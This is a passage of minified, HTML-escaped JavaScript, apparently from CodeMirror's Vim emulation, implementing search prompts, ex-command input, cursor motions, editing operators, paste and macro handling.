e(a,e,f){vb.searchHistoryController.pushInput(a),vb.searchHistoryController.reset();try{Ma(b,a,e,f)}catch(g){return Ia(b,&quot;Invalid regex: &quot;+a),void A(b)}yb.processMotion(b,c,{type:&quot;motion&quot;,motion:&quot;findNext&quot;,motionArgs:{forward:!0,toJumplist:d.searchArgs.toJumplist}})}function f(a){b.scrollTo(m.left,m.top),e(a,!0,!0);var c=vb.macroModeState;c.isRecording&amp;&amp;_a(c,a)}function g(c,d,e){var f,g,h=a.keyName(c);&quot;Up&quot;==h||&quot;Down&quot;==h?(f=&quot;Up&quot;==h,g=c.target?c.target.selectionEnd:0,d=vb.searchHistoryController.nextMatch(d,f)||&quot;&quot;,e(d),g&amp;&amp;c.target&amp;&amp;(c.target.selectionEnd=c.target.selectionStart=Math.min(g,c.target.value.length))):&quot;Left&quot;!=h&amp;&amp;&quot;Right&quot;!=h&amp;&amp;&quot;Ctrl&quot;!=h&amp;&amp;&quot;Alt&quot;!=h&amp;&amp;&quot;Shift&quot;!=h&amp;&amp;vb.searchHistoryController.reset();var j;try{j=Ma(b,d,!0,!0)}catch(c){}j?b.scrollIntoView(Pa(b,!i,j),30):(Qa(b),b.scrollTo(m.left,m.top))}function h(c,d,e){var f=a.keyName(c);&quot;Esc&quot;==f||&quot;Ctrl-C&quot;==f||&quot;Ctrl-[&quot;==f||&quot;Backspace&quot;==f&amp;&amp;&quot;&quot;==d?(vb.searchHistoryController.pushInput(d),vb.searchHistoryController.reset(),Ma(b,l),Qa(b),b.scrollTo(m.left,m.top),a.e_stop(c),A(b),e(),b.focus()):&quot;Up&quot;==f||&quot;Down&quot;==f?a.e_stop(c):&quot;Ctrl-U&quot;==f&amp;&amp;(a.e_stop(c),e(&quot;&quot;))}if(b.getSearchCursor){var i=d.searchArgs.forward,j=d.searchArgs.wholeWordOnly;Aa(b).setReversed(!i);var k=i?&quot;/&quot;:&quot;?&quot;,l=Aa(b).getQuery(),m=b.getScrollInfo();switch(d.searchArgs.querySrc){case&quot;prompt&quot;:var n=vb.macroModeState;if(n.isPlaying){var o=n.replaySearchQueries.shift();e(o,!0,!1)}else Ka(b,{onClose:f,prefix:k,desc:Gb,onKeyUp:g,onKeyDown:h});break;case&quot;wordUnderCursor&quot;:var p=ma(b,!1,!0,!1,!0),q=!0;if(p||(p=ma(b,!1,!0,!1,!1),q=!1),!p)return;var o=b.getLine(p.start.line).substring(p.start.ch,p.end.ch);o=q&amp;&amp;j?&quot;\\b&quot;+o+&quot;\\b&quot;:Z(o),vb.jumpList.cachedCursor=b.getCursor(),b.setCursor(p.start),e(o,!0,!1)}}},processEx:function(b,c,d){function e(a){vb.exCommandHistoryController.pushInput(a),vb.exCommandHistoryController.reset(),Jb.processCommand(b,a)}function f(c,d,e){var f,g,h=a.keyName(c);(&quot;Esc&quot;==h||&quot;Ctrl-C&quot;==h||&quot;Ctrl-[&quot;==h||&quot;Backspace&quot;==h&amp;&amp;&quot;&quot;==d)&amp;&amp;(vb.exCommandHistoryController.pushInput(d),vb.exCommandHistoryController.reset(),a.e_stop(c),A(b),e(),b.focus()),&quot;Up&quot;==h||&quot;Down&quot;==h?(a.e_stop(c),f=&quot;Up&quot;==h,g=c.target?c.target.selectionEnd:0,d=vb.exCommandHistoryController.nextMatch(d,f)||&quot;&quot;,e(d),g&amp;&amp;c.target&amp;&amp;(c.target.selectionEnd=c.target.selectionStart=Math.min(g,c.target.value.length))):&quot;Ctrl-U&quot;==h?(a.e_stop(c),e(&quot;&quot;)):&quot;Left&quot;!=h&amp;&amp;&quot;Right&quot;!=h&amp;&amp;&quot;Ctrl&quot;!=h&amp;&amp;&quot;Alt&quot;!=h&amp;&amp;&quot;Shift&quot;!=h&amp;&amp;vb.exCommandHistoryController.reset()}&quot;keyToEx&quot;==d.type?Jb.processCommand(b,d.exArgs.input):c.visualMode?Ka(b,{onClose:e,prefix:&quot;:&quot;,value:&quot;&#039;&lt;,&#039;&gt;&quot;,onKeyDown:f}):Ka(b,{onClose:e,prefix:&quot;:&quot;,onKeyDown:f})},evalInput:function(a,b){var c,e,f,g=b.inputState,h=g.motion,i=g.motionArgs||{},j=g.operator,k=g.operatorArgs||{},l=g.registerName,m=b.sel,n=R(b.visualMode?J(a,m.head):a.getCursor(&quot;head&quot;)),o=R(b.visualMode?J(a,m.anchor):a.getCursor(&quot;anchor&quot;)),p=R(n),q=R(o);if(j&amp;&amp;this.recordLastEdit(b,g),f=void 0!==g.repeatOverride?g.repeatOverride:g.getRepeat(),f&gt;0&amp;&amp;i.explicitRepeat?i.repeatIsExplicit=!0:(i.noRepeat||!i.explicitRepeat&amp;&amp;0===f)&amp;&amp;(f=1,i.repeatIsExplicit=!1),g.selectedCharacter&amp;&amp;(i.selectedCharacter=k.selectedCharacter=g.selectedCharacter),i.repeat=f,A(a),h){var r=zb[h](a,n,i,b);if(b.lastMotion=zb[h],!r)return;if(i.toJumplist){var s=vb.jumpList,t=s.cachedCursor;t?(na(a,t,r),delete s.cachedCursor):na(a,n,r)}r instanceof Array?(e=r[0],c=r[1]):c=r,c||(c=R(n)),b.visualMode?(b.visualBlock&amp;&amp;c.ch===1/0||(c=J(a,c,b.visualBlock)),e&amp;&amp;(e=J(a,e,!0)),e=e||q,m.anchor=e,m.head=c,fa(a),ua(a,b,&quot;&lt;&quot;,T(e,c)?e:c),ua(a,b,&quot;&gt;&quot;,T(e,c)?c:e)):j||(c=J(a,c),a.setCursor(c.line,c.ch))}if(j){if(k.lastSel){e=q;var u=k.lastSel,v=Math.abs(u.head.line-u.anchor.line),w=Math.abs(u.head.ch-u.anchor.ch);c=u.visualLine?d(q.line+v,q.ch):u.visualBlock?d(q.line+v,q.ch+w):u.head.line==u.anchor.line?d(q.line,q.ch+w):d(q.line+v,q.ch),b.visualMode=!0,b.visualLine=u.visualLine,b.visualBlock=u.visualBlock,m=b.sel={anchor:e,head:c},fa(a)}else b.visualMode&amp;&amp;(k.lastSel={anchor:R(m.anchor),head:R(m.head),visualBlock:b.visualBlock,visualLine:b.visualLine});var x,y,z,B,C;if(b.visualMode){if(x=U(m.head,m.anchor),y=V(m.head,m.anchor),z=b.visualLine||k.linewise,B=b.visualBlock?&quot;block&quot;:z?&quot;line&quot;:&quot;char&quot;,C=ga(a,{anchor:x,head:y},B),z){var D=C.ranges;if(&quot;block&quot;==B)for(var E=0;E&lt;D.length;E++)D[E].head.ch=X(a,D[E].head.line);else&quot;line&quot;==B&amp;&amp;(D[0].head=d(D[0].head.line+1,0))}}else{if(x=R(e||q),y=R(c||p),T(y,x)){var F=x;x=y,y=F}z=i.linewise||k.linewise,z?ka(a,x,y):i.forward&amp;&amp;ja(a,x,y),B=&quot;char&quot;;var G=!i.inclusive||z;C=ga(a,{anchor:x,head:y},B,G)}a.setSelections(C.ranges,C.primary),b.lastMotion=null,k.repeat=f,k.registerName=l,k.linewise=z;var H=Ab[j](a,k,C.ranges,q,c);b.visualMode&amp;&amp;ia(a,null!=H),H&amp;&amp;a.setCursor(H)}},recordLastEdit:function(a,b,c){var d=vb.macroModeState;d.isPlaying||(a.lastEditInputState=b,a.lastEditActionCommand=c,d.lastInsertModeChanges.changes=[],d.lastInsertModeChanges.expectCursorActivityForChange=!1)}},zb={moveToTopLine:function(a,b,c){var e=Sa(a).top+c.repeat-1;return d(e,la(a.getLine(e)))},moveToMiddleLine:function(a){var b=Sa(a),c=Math.floor(.5*(b.top+b.bottom));return d(c,la(a.getLine(c)))},moveToBottomLine:function(a,b,c){var e=Sa(a).bottom-c.repeat+1;return d(e,la(a.getLine(e)))},expandToLine:function(a,b,c){var e=b;return d(e.line+c.repeat-1,1/0)},findNext:function(a,b,c){var d=Aa(a),e=d.getQuery();if(e){var f=!c.forward;return f=d.isReversed()?!f:f,Oa(a,e),Pa(a,f,e,c.repeat)}},goToMark:function(a,b,c,d){var e=Ta(a,d,c.selectedCharacter);return e?c.linewise?{line:e.line,ch:la(a.getLine(e.line))}:e:null},moveToOtherHighlightedEnd:function(a,b,c,e){if(e.visualBlock&amp;&amp;c.sameLine){var f=e.sel;return[J(a,d(f.anchor.line,f.head.ch)),J(a,d(f.head.line,f.anchor.ch))]}return[e.sel.head,e.sel.anchor]},jumpToMark:function(a,b,c,e){for(var f=b,g=0;g&lt;c.repeat;g++){var h=f;for(var i in e.marks)if(n(i)){var j=e.marks[i].find(),k=c.forward?T(j,h):T(h,j);if(!(k||c.linewise&amp;&amp;j.line==h.line)){var l=S(h,f),m=c.forward?W(h,j,f):W(f,j,h);(l||m)&amp;&amp;(f=j)}}}return c.linewise&amp;&amp;(f=d(f.line,la(a.getLine(f.line)))),f},moveByCharacters:function(a,b,c){var e=b,f=c.repeat,g=c.forward?e.ch+f:e.ch-f;return d(e.line,g)},moveByLines:function(a,b,c,e){var f=b,g=f.ch;switch(e.lastMotion){case this.moveByLines:case this.moveByDisplayLines:case this.moveByScroll:case this.moveToColumn:case this.moveToEol:g=e.lastHPos;break;default:e.lastHPos=g}var h=c.repeat+(c.repeatOffset||0),i=c.forward?f.line+h:f.line-h,j=a.firstLine(),k=a.lastLine();return i&lt;j&amp;&amp;f.line==j?this.moveToStartOfLine(a,b,c,e):i&gt;k&amp;&amp;f.line==k?this.moveToEol(a,b,c,e):(c.toFirstChar&amp;&amp;(g=la(a.getLine(i)),e.lastHPos=g),e.lastHSPos=a.charCoords(d(i,g),&quot;div&quot;).left,d(i,g))},moveByDisplayLines:function(a,b,c,e){var f=b;switch(e.lastMotion){case this.moveByDisplayLines:case this.moveByScroll:case this.moveByLines:case this.moveToColumn:case this.moveToEol:break;default:e.lastHSPos=a.charCoords(f,&quot;div&quot;).left}var g=c.repeat,h=a.findPosV(f,c.forward?g:-g,&quot;line&quot;,e.lastHSPos);if(h.hitSide)if(c.forward)var i=a.charCoords(h,&quot;div&quot;),j={top:i.top+8,left:e.lastHSPos},h=a.coordsChar(j,&quot;div&quot;);else{var k=a.charCoords(d(a.firstLine(),0),&quot;div&quot;);k.left=e.lastHSPos,h=a.coordsChar(k,&quot;div&quot;)}return e.lastHPos=h.ch,h},moveByPage:function(a,b,c){var d=b,e=c.repeat;return a.findPosV(d,c.forward?e:-e,&quot;page&quot;)},moveByParagraph:function(a,b,c){var d=c.forward?1:-1;return wa(a,b,c.repeat,d)},moveByScroll:function(a,b,c,d){var e=a.getScrollInfo(),f=null,g=c.repeat;g||(g=e.clientHeight/(2*a.defaultTextHeight()));var h=a.charCoords(b,&quot;local&quot;);c.repeat=g;var f=zb.moveByDisplayLines(a,b,c,d);if(!f)return null;var i=a.charCoords(f,&quot;local&quot;);return a.scrollTo(null,e.top+i.top-h.top),f},moveByWords:function(a,b,c){return ra(a,b,c.repeat,!!c.forward,!!c.wordEnd,!!c.bigWord)},moveTillCharacter:function(a,b,c){var d=c.repeat,e=sa(a,d,c.forward,c.selectedCharacter),f=c.forward?-1:1;return oa(f,c),e?(e.ch+=f,e):null},moveToCharacter:function(a,b,c){var d=c.repeat;return oa(0,c),sa(a,d,c.forward,c.selectedCharacter)||b},moveToSymbol:function(a,b,c){var d=c.repeat;return pa(a,d,c.forward,c.selectedCharacter)||b},moveToColumn:function(a,b,c,d){var e=c.repeat;return d.lastHPos=e-1,d.lastHSPos=a.charCoords(b,&quot;div&quot;).left,ta(a,e)},moveToEol:function(a,b,c,e){var f=b;e.lastHPos=1/0;var g=d(f.line+c.repeat-1,1/0),h=a.clipPos(g);return h.ch--,e.lastHSPos=a.charCoords(h,&quot;div&quot;).left,g},moveToFirstNonWhiteSpaceCharacter:function(a,b){var c=b;return d(c.line,la(a.getLine(c.line)))},moveToMatchedSymbol:function(a,b){for(var c,e=b,f=e.line,g=e.ch,h=a.getLine(f);g&lt;h.length;g++)if(c=h.charAt(g),c&amp;&amp;o(c)){var i=a.getTokenTypeAt(d(f,g+1));if(&quot;string&quot;!==i&amp;&amp;&quot;comment&quot;!==i)break}if(g&lt;h.length){var j=a.findMatchingBracket(d(f,g));return j.to}return e},moveToStartOfLine:function(a,b){return d(b.line,0)},moveToLineOrEdgeOfDocument:function(a,b,c){var e=c.forward?a.lastLine():a.firstLine();
return c.repeatIsExplicit&amp;&amp;(e=c.repeat-a.getOption(&quot;firstLineNumber&quot;)),d(e,la(a.getLine(e)))},textObjectManipulation:function(a,b,c,d){var e={&quot;(&quot;:&quot;)&quot;,&quot;)&quot;:&quot;(&quot;,&quot;{&quot;:&quot;}&quot;,&quot;}&quot;:&quot;{&quot;,&quot;[&quot;:&quot;]&quot;,&quot;]&quot;:&quot;[&quot;},f={&quot;&#039;&quot;:!0,&#039;&quot;&#039;:!0},g=c.selectedCharacter;&quot;b&quot;==g?g=&quot;(&quot;:&quot;B&quot;==g&amp;&amp;(g=&quot;{&quot;);var h,i=!c.textObjectInner;if(e[g])h=xa(a,b,g,i);else if(f[g])h=ya(a,b,g,i);else if(&quot;W&quot;===g)h=ma(a,i,!0,!0);else if(&quot;w&quot;===g)h=ma(a,i,!0,!1);else{if(&quot;p&quot;!==g)return null;if(h=wa(a,b,c.repeat,0,i),c.linewise=!0,d.visualMode)d.visualLine||(d.visualLine=!0);else{var j=d.inputState.operatorArgs;j&amp;&amp;(j.linewise=!0),h.end.line--}}return a.state.vim.visualMode?ea(a,h.start,h.end):[h.start,h.end]},repeatLastCharacterSearch:function(a,b,c){var d=vb.lastCharacterSearch,e=c.repeat,f=c.forward===d.forward,g=(d.increment?1:0)*(f?-1:1);a.moveH(-g,&quot;char&quot;),c.inclusive=!!f;var h=sa(a,e,f,d.selectedCharacter);return h?(h.ch+=g,h):(a.moveH(g,&quot;char&quot;),b)}},Ab={change:function(b,c,e){var f,g,h=b.state.vim;if(vb.macroModeState.lastInsertModeChanges.inVisualBlock=h.visualBlock,h.visualMode){g=b.getSelection();var i=G(&quot;&quot;,e.length);b.replaceSelections(i),f=U(e[0].head,e[0].anchor)}else{var j=e[0].anchor,k=e[0].head;g=b.getRange(j,k);var l=h.lastEditInputState||{};if(&quot;moveByWords&quot;==l.motion&amp;&amp;!r(g)){var m=/\s+$/.exec(g);m&amp;&amp;l.motionArgs&amp;&amp;l.motionArgs.forward&amp;&amp;(k=L(k,0,-m[0].length),g=g.slice(0,-m[0].length))}var n=new d(j.line-1,Number.MAX_VALUE),o=b.firstLine()==b.lastLine();k.line&gt;b.lastLine()&amp;&amp;c.linewise&amp;&amp;!o?b.replaceRange(&quot;&quot;,n,k):b.replaceRange(&quot;&quot;,j,k),c.linewise&amp;&amp;(o||(b.setCursor(n),a.commands.newlineAndIndent(b)),j.ch=Number.MAX_VALUE),f=j}vb.registerController.pushText(c.registerName,&quot;change&quot;,g,c.linewise,e.length&gt;1),Bb.enterInsertMode(b,{head:f},b.state.vim)},&quot;delete&quot;:function(a,b,c){var e,f,g=a.state.vim;if(g.visualBlock){f=a.getSelection();var h=G(&quot;&quot;,c.length);a.replaceSelections(h),e=c[0].anchor}else{var i=c[0].anchor,j=c[0].head;b.linewise&amp;&amp;j.line!=a.firstLine()&amp;&amp;i.line==a.lastLine()&amp;&amp;i.line==j.line-1&amp;&amp;(i.line==a.firstLine()?i.ch=0:i=d(i.line-1,X(a,i.line-1))),f=a.getRange(i,j),a.replaceRange(&quot;&quot;,i,j),e=i,b.linewise&amp;&amp;(e=zb.moveToFirstNonWhiteSpaceCharacter(a,i))}return vb.registerController.pushText(b.registerName,&quot;delete&quot;,f,b.linewise,g.visualBlock),J(a,e)},indent:function(a,b,c){var d=a.state.vim,e=c[0].anchor.line,f=d.visualBlock?c[c.length-1].anchor.line:c[0].head.line,g=d.visualMode?b.repeat:1;b.linewise&amp;&amp;f--;for(var h=e;h&lt;=f;h++)for(var i=0;i&lt;g;i++)a.indentLine(h,b.indentRight);return zb.moveToFirstNonWhiteSpaceCharacter(a,c[0].anchor)},changeCase:function(a,b,c,d,e){for(var f=a.getSelections(),g=[],h=b.toLower,i=0;i&lt;f.length;i++){var j=f[i],k=&quot;&quot;;if(h===!0)k=j.toLowerCase();else if(h===!1)k=j.toUpperCase();else for(var l=0;l&lt;j.length;l++){var m=j.charAt(l);k+=q(m)?m.toLowerCase():m.toUpperCase()}g.push(k)}return a.replaceSelections(g),b.shouldMoveCursor?e:!a.state.vim.visualMode&amp;&amp;b.linewise&amp;&amp;c[0].anchor.line+1==c[0].head.line?zb.moveToFirstNonWhiteSpaceCharacter(a,d):b.linewise?d:U(c[0].anchor,c[0].head)},yank:function(a,b,c,d){var e=a.state.vim,f=a.getSelection(),g=e.visualMode?U(e.sel.anchor,e.sel.head,c[0].head,c[0].anchor):d;return vb.registerController.pushText(b.registerName,&quot;yank&quot;,f,b.linewise,e.visualBlock),g}},Bb={jumpListWalk:function(a,b,c){if(!c.visualMode){var d=b.repeat,e=b.forward,f=vb.jumpList,g=f.move(a,e?d:-d),h=g?g.find():void 0;h=h?h:a.getCursor(),a.setCursor(h)}},scroll:function(a,b,c){if(!c.visualMode){var d=b.repeat||1,e=a.defaultTextHeight(),f=a.getScrollInfo().top,g=e*d,h=b.forward?f+g:f-g,i=R(a.getCursor()),j=a.charCoords(i,&quot;local&quot;);if(b.forward)h&gt;j.top?(i.line+=(h-j.top)/e,i.line=Math.ceil(i.line),a.setCursor(i),j=a.charCoords(i,&quot;local&quot;),a.scrollTo(null,j.top)):a.scrollTo(null,h);else{var k=h+a.getScrollInfo().clientHeight;k&lt;j.bottom?(i.line-=(j.bottom-k)/e,i.line=Math.floor(i.line),a.setCursor(i),j=a.charCoords(i,&quot;local&quot;),a.scrollTo(null,j.bottom-a.getScrollInfo().clientHeight)):a.scrollTo(null,h)}}},scrollToCursor:function(a,b){var c=a.getCursor().line,e=a.charCoords(d(c,0),&quot;local&quot;),f=a.getScrollInfo().clientHeight,g=e.top,h=e.bottom-g;switch(b.position){case&quot;center&quot;:g=g-f/2+h;break;case&quot;bottom&quot;:g=g-f+h}a.scrollTo(null,g)},replayMacro:function(a,b,c){var d=b.selectedCharacter,e=b.repeat,f=vb.macroModeState;for(&quot;@&quot;==d&amp;&amp;(d=f.latestRegister);e--;)Ya(a,c,f,d)},enterMacroRecordMode:function(a,b){var c=vb.macroModeState,d=b.selectedCharacter;vb.registerController.isValidRegister(d)&amp;&amp;c.enterMacroRecordMode(a,d)},toggleOverwrite:function(b){b.state.overwrite?(b.toggleOverwrite(!1),b.setOption(&quot;keyMap&quot;,&quot;vim-insert&quot;),a.signal(b,&quot;vim-mode-change&quot;,{mode:&quot;insert&quot;})):(b.toggleOverwrite(!0),b.setOption(&quot;keyMap&quot;,&quot;vim-replace&quot;),a.signal(b,&quot;vim-mode-change&quot;,{mode:&quot;replace&quot;}))},enterInsertMode:function(b,c,e){if(!b.getOption(&quot;readOnly&quot;)){e.insertMode=!0,e.insertModeRepeat=c&amp;&amp;c.repeat||1;var f=c?c.insertAt:null,g=e.sel,h=c.head||b.getCursor(&quot;head&quot;),i=b.listSelections().length;if(&quot;eol&quot;==f)h=d(h.line,X(b,h.line));else if(&quot;charAfter&quot;==f)h=L(h,0,1);else if(&quot;firstNonBlank&quot;==f)h=zb.moveToFirstNonWhiteSpaceCharacter(b,h);else if(&quot;startOfSelectedArea&quot;==f)e.visualBlock?(h=d(Math.min(g.head.line,g.anchor.line),Math.min(g.head.ch,g.anchor.ch)),i=Math.abs(g.head.line-g.anchor.line)+1):h=g.head.line&lt;g.anchor.line?g.head:d(g.anchor.line,0);else if(&quot;endOfSelectedArea&quot;==f)e.visualBlock?(h=d(Math.min(g.head.line,g.anchor.line),Math.max(g.head.ch+1,g.anchor.ch)),i=Math.abs(g.head.line-g.anchor.line)+1):h=g.head.line&gt;=g.anchor.line?L(g.head,0,1):d(g.anchor.line,0);else if(&quot;inplace&quot;==f&amp;&amp;e.visualMode)return;b.setOption(&quot;disableInput&quot;,!1),c&amp;&amp;c.replace?(b.toggleOverwrite(!0),b.setOption(&quot;keyMap&quot;,&quot;vim-replace&quot;),a.signal(b,&quot;vim-mode-change&quot;,{mode:&quot;replace&quot;})):(b.toggleOverwrite(!1),b.setOption(&quot;keyMap&quot;,&quot;vim-insert&quot;),a.signal(b,&quot;vim-mode-change&quot;,{mode:&quot;insert&quot;})),vb.macroModeState.isPlaying||(b.on(&quot;change&quot;,ab),a.on(b.getInputField(),&quot;keydown&quot;,fb)),e.visualMode&amp;&amp;ia(b),aa(b,h,i)}},toggleVisualMode:function(b,c,e){var f,g=c.repeat,h=b.getCursor();e.visualMode?e.visualLine^c.linewise||e.visualBlock^c.blockwise?(e.visualLine=!!c.linewise,e.visualBlock=!!c.blockwise,a.signal(b,&quot;vim-mode-change&quot;,{mode:&quot;visual&quot;,subMode:e.visualLine?&quot;linewise&quot;:e.visualBlock?&quot;blockwise&quot;:&quot;&quot;}),fa(b)):ia(b):(e.visualMode=!0,e.visualLine=!!c.linewise,e.visualBlock=!!c.blockwise,f=J(b,d(h.line,h.ch+g-1),!0),e.sel={anchor:h,head:f},a.signal(b,&quot;vim-mode-change&quot;,{mode:&quot;visual&quot;,subMode:e.visualLine?&quot;linewise&quot;:e.visualBlock?&quot;blockwise&quot;:&quot;&quot;}),fa(b),ua(b,e,&quot;&lt;&quot;,U(h,f)),ua(b,e,&quot;&gt;&quot;,V(h,f)))},reselectLastSelection:function(b,c,d){var e=d.lastSelection;if(d.visualMode&amp;&amp;da(b,d),e){var f=e.anchorMark.find(),g=e.headMark.find();if(!f||!g)return;d.sel={anchor:f,head:g},d.visualMode=!0,d.visualLine=e.visualLine,d.visualBlock=e.visualBlock,fa(b),ua(b,d,&quot;&lt;&quot;,U(f,g)),ua(b,d,&quot;&gt;&quot;,V(f,g)),a.signal(b,&quot;vim-mode-change&quot;,{mode:&quot;visual&quot;,subMode:d.visualLine?&quot;linewise&quot;:d.visualBlock?&quot;blockwise&quot;:&quot;&quot;})}},joinLines:function(a,b,c){var e,f;if(c.visualMode){if(e=a.getCursor(&quot;anchor&quot;),f=a.getCursor(&quot;head&quot;),T(f,e)){var g=f;f=e,e=g}f.ch=X(a,f.line)-1}else{var h=Math.max(b.repeat,2);e=a.getCursor(),f=J(a,d(e.line+h-1,1/0))}for(var i=0,j=e.line;j&lt;f.line;j++){i=X(a,e.line);var g=d(e.line+1,X(a,e.line+1)),k=a.getRange(e,g);k=k.replace(/\n\s*/g,&quot; &quot;),a.replaceRange(k,e,g)}var l=d(e.line,i);c.visualMode&amp;&amp;ia(a,!1),a.setCursor(l)},newLineAndEnterInsertMode:function(b,c,e){e.insertMode=!0;var f=R(b.getCursor());if(f.line!==b.firstLine()||c.after){f.line=c.after?f.line:f.line-1,f.ch=X(b,f.line),b.setCursor(f);var g=a.commands.newlineAndIndentContinueComment||a.commands.newlineAndIndent;g(b)}else b.replaceRange(&quot;\n&quot;,d(b.firstLine(),0)),b.setCursor(b.firstLine(),0);this.enterInsertMode(b,{repeat:c.repeat},e)},paste:function(a,b,c){var e=R(a.getCursor()),f=vb.registerController.getRegister(b.registerName),g=f.toString();if(g){if(b.matchIndent){var h=a.getOption(&quot;tabSize&quot;),i=function(a){var b=a.split(&quot;\t&quot;).length-1,c=a.split(&quot; &quot;).length-1;return b*h+1*c},j=a.getLine(a.getCursor().line),k=i(j.match(/^\s*/)[0]),l=g.replace(/\n$/,&quot;&quot;),m=g!==l,n=i(g.match(/^\s*/)[0]),g=l.replace(/^\s*/gm,function(b){var c=k+(i(b)-n);if(c&lt;0)return&quot;&quot;;if(a.getOption(&quot;indentWithTabs&quot;)){var d=Math.floor(c/h);return Array(d+1).join(&quot;\t&quot;)}return Array(c+1).join(&quot; &quot;)});g+=m?&quot;\n&quot;:&quot;&quot;}if(b.repeat&gt;1)var g=Array(b.repeat+1).join(g);var o=f.linewise,p=f.blockwise;if(o)c.visualMode?g=c.visualLine?g.slice(0,-1):&quot;\n&quot;+g.slice(0,g.length-1)+&quot;\n&quot;:b.after?(g=&quot;\n&quot;+g.slice(0,g.length-1),e.ch=X(a,e.line)):e.ch=0;else{if(p){g=g.split(&quot;\n&quot;);for(var q=0;q&lt;g.length;q++)g[q]=&quot;&quot;==g[q]?&quot; &quot;:g[q]}e.ch+=b.after?1:0}var r,s;if(c.visualMode){c.lastPastedText=g;var t,u=ca(a,c),v=u[0],w=u[1],x=a.getSelection(),y=a.listSelections(),z=new Array(y.length).join(&quot;1&quot;).split(&quot;1&quot;);c.lastSelection&amp;&amp;(t=c.lastSelection.headMark.find()),vb.registerController.unnamedRegister.setText(x),p?(a.replaceSelections(z),w=d(v.line+g.length-1,v.ch),a.setCursor(v),_(a,w),a.replaceSelections(g),r=v):c.visualBlock?(a.replaceSelections(z),a.setCursor(v),a.replaceRange(g,v,v),r=v):(a.replaceRange(g,v,w),r=a.posFromIndex(a.indexFromPos(v)+g.length-1)),t&amp;&amp;(c.lastSelection.headMark=a.setBookmark(t)),o&amp;&amp;(r.ch=0)}else if(p){a.setCursor(e);for(var q=0;q&lt;g.length;q++){var A=e.line+q;A&gt;a.lastLine()&amp;&amp;a.replaceRange(&quot;\n&quot;,d(A,0));var B=X(a,A);B&lt;e.ch&amp;&amp;$(a,A,e.ch)}a.setCursor(e),_(a,d(e.line+g.length-1,e.ch)),a.replaceSelections(g),r=e}else a.replaceRange(g,e),o&amp;&amp;b.after?r=d(e.line+1,la(a.getLine(e.line+1))):o&amp;&amp;!b.after?r=d(e.line,la(a.getLine(e.line))):!o&amp;&amp;b.after?(s=a.indexFromPos(e),r=a.posFromIndex(s+g.length-1)):(s=a.indexFromPos(e),r=a.posFromIndex(s+g.length));c.visualMode&amp;&amp;ia(a,!1),a.setCursor(r)}},undo:function(b,c){b.operation(function(){Q(b,a.commands.undo,c.repeat)(),b.setCursor(b.getCursor(&quot;anchor&quot;))})},redo:function(b,c){Q(b,a.commands.redo,c.repeat)()},setRegister:function(a,b,c){c.inputState.registerName=b.selectedCharacter},setMark:function(a,b,c){var d=b.selectedCharacter;ua(a,c,d,a.getCursor())},replace:function(b,c,e){var f,g,h=c.selectedCharacter,i=b.getCursor(),j=b.listSelections();if(e.visualMode)i=b.getCursor(&quot;start&quot;),g=b.getCursor(&quot;end&quot;);else{var k=b.getLine(i.line);f=i.ch+c.repeat,f&gt;k.length&amp;&amp;(f=k.length),g=d(i.line,f)}if(&quot;\n&quot;==h)e.visualMode||b.replaceRange(&quot;&quot;,i,g),(a.commands.newlineAndIndentContinueComment||a.commands.newlineAndIndent)(b);else{var l=b.getRange(i,g);if(l=l.replace(/[^\n]/g,h),e.visualBlock){var m=new Array(b.getOption(&quot;tabSize&quot;)+1).join(&quot; &quot;);l=b.getSelection(),l=l.replace(/\t/g,m).replace(/[^\n]/g,h).split(&quot;\n&quot;),b.replaceSelections(l)}else b.replaceRange(l,i,g);e.visualMode?(i=T(j[0].anchor,j[0].head)?j[0].anchor:j[0].head,b.setCursor(i),ia(b,!1)):b.setCursor(L(g,0,-1))}},incrementNumberToken:function(a,b){for(var c,e,f,g,h,i=a.getCursor(),j=a.getLine(i.line),k=/-?\d+/g;null!==(c=k.exec(j))&amp;&amp;(h=c[0],e=c.index,f=e+h.length,!(i.ch&lt;f)););if((b.backtrack||!(f&lt;=i.ch))&amp;&amp;h){var l=b.increase?1:-1,m=parseInt(h)+l*b.repeat,n=d(i.line,e),o=d(i.line,f);g=m.toString(),a.replaceRange(g,n,o),a.setCursor(d(i.line,e+g.length-1))}},repeatLastEdit:function(a,b,c){var d=c.lastEditInputState;if(d){var e=b.repeat;e&amp;&amp;b.repeatIsExplicit?c.lastEditInputState.repeatOverride=e:e=c.lastEditInputState.repeatOverride||e,gb(a,c,e,!1)}},indent:function(a,b){a.indentLine(a.getCursor().line,b.indentRight)},exitInsertMode:Va},Cb={&quot;(&quot;:&quot;bracket&quot;,&quot;)&quot;:&quot;bracket&quot;,&quot;{&quot;:&quot;bracket&quot;,&quot;}&quot;:&quot;bracket&quot;,&quot;[&quot;:&quot;section&quot;,&quot;]&quot;:&quot;section&quot;,&quot;*&quot;:&quot;comment&quot;,&quot;/&quot;:&quot;comment&quot;,m:&quot;method&quot;,M:&quot;method&quot;,&quot;#&quot;:&quot;preprocess&quot;},Db={bracket:{isComplete:function(a){if(a.nextCh===a.symb){if(a.depth++,a.depth&gt;=1)return!0}else a.nextCh===a.reverseSymb&amp;&amp;a.depth--;return!1}},section:{init:function(a){a.curMoveThrough=!0,a.symb=(a.forward?&quot;]&quot;:&quot;[&quot;)===a.symb?&quot;{&quot;:&quot;}&quot;},isComplete:function(a){return 0===a.index&amp;&amp;a.nextCh===a.symb}},comment:{isComplete:function(a){var b=&quot;*&quot;===a.lastCh&amp;&amp;&quot;/&quot;===a.nextCh;return a.lastCh=a.nextCh,b}},method:{init:function(a){a.symb=&quot;m&quot;===a.symb?&quot;{&quot;:&quot;}&quot;,a.reverseSymb=&quot;{&quot;===a.symb?&quot;}&quot;:&quot;{&quot;},isComplete:function(a){return a.nextCh===a.symb}},preprocess:{init:function(a){a.index=0},isComplete:function(a){if(&quot;#&quot;===a.nextCh){var b=a.lineText.match(/#(\w+)/)[1];if(&quot;endif&quot;===b){if(a.forward&amp;&amp;0===a.depth)return!0;a.depth++}else if(&quot;if&quot;===b){if(!a.forward&amp;&amp;0===a.depth)return!0;a.depth--}if(&quot;else&quot;===b&amp;&amp;0===a.depth)return!0}return!1}}};t(&quot;pcre&quot;,!0,&quot;boolean&quot;),za.prototype={getQuery:function(){return vb.query},setQuery:function(a){vb.query=a},getOverlay:function(){return this.searchOverlay},setOverlay:function(a){this.searchOverlay=a},isReversed:function(){return vb.isReversed},setReversed:function(a){vb.isReversed=a},getScrollbarAnnotate:function(){return this.annotate},setScrollbarAnnotate:function(a){this.annotate=a}};var 